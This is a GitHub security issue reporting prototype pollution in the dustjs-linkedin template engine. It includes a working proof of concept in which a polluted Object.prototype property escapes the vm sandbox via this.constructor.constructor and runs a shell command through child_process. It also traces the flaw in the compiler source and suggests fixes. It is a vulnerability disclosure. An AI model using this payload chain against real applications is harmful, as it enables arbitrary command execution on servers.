Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security bug about prototype pollution #804

Closed
baiyecha404 opened this issue Mar 24, 2021 · 1 comment
Closed

Security bug about prototype pollution #804

baiyecha404 opened this issue Mar 24, 2021 · 1 comment

Comments

@baiyecha404
Copy link

Hi, I 'd like to report a security bug. That is, the current version of dustjs is vulnerable to prototype pollution attack. Details will be covered in following contents.

reproduce

index.js

const dust = require('dustjs-linkedin');


let cmd = "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 127.0.0.1')"
Object.prototype.ANY_CODE= [cmd];
const compiled = dust.compile(`{username} is a valid Dust reference.{~n}`);
const tmpl = dust.loadSource(compiled);
dust.render(tmpl, { username: "byc_404" }, (err, out) => {
    if (err) throw err;
    console.log(out);
});

use python -m http.server 80 to set up a http server, then execute the code
result

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--100   694  100   694    0     0    694      0  0:00:01 --:--:--  0:00:01  677k
byc_404 is a valid Dust reference.
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:127.0.0.1 - - [24/Mar/2021 22:19:39] "GET / HTTP/1.1" 200 -

Command of curl will be executed.

Details

The code that pollution affected can be found at compileBlocks function

dustjs/lib/compiler.js

Lines 171 to 173 in e0e25f7

compiled += compileBlocks(context) +
compileBodies(context) +
'return ' + entry + '}';

dustjs/lib/compiler.js

Lines 189 to 199 in e0e25f7

function compileBlocks(context) {
var out = [],
blocks = context.blocks,
name;
for (name in blocks) {
out.push('"' + name + '":' + blocks[name]);
}
if (out.length) {
context.blocks = 'ctx=ctx.shiftBlocks(blocks);';
return 'var blocks={' + out.join(',') + '};';

blocks is an Array attribute of object context, and the for loop will visit attribute on prototype, results in blocks[ANY_CODE]=EVIL_CMD.
The code will be added to compiled, then the full compiled code will be evaled and run in vm

dustjs/index.js

Lines 8 to 11 in e0e25f7

var context = vm.createContext({dust: dust});
dust.loadSource = function(source) {
return vm.runInContext(source, context);
};

However, the context of vm here is {dust: dust}, so it can be bypassed with this.constructor.constructor and get Arbitary Command execution.

Suggestion

  • For context in compile function , use Map or Object.create(null) to create it.
  • For vm.runInContext in loadSource function , use Object.create(null) to create it , then add dust to it. Or vm will be meaningless.
@baiyecha404
Copy link
Author

Seems like dustjs is deprecated. I 'll close this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant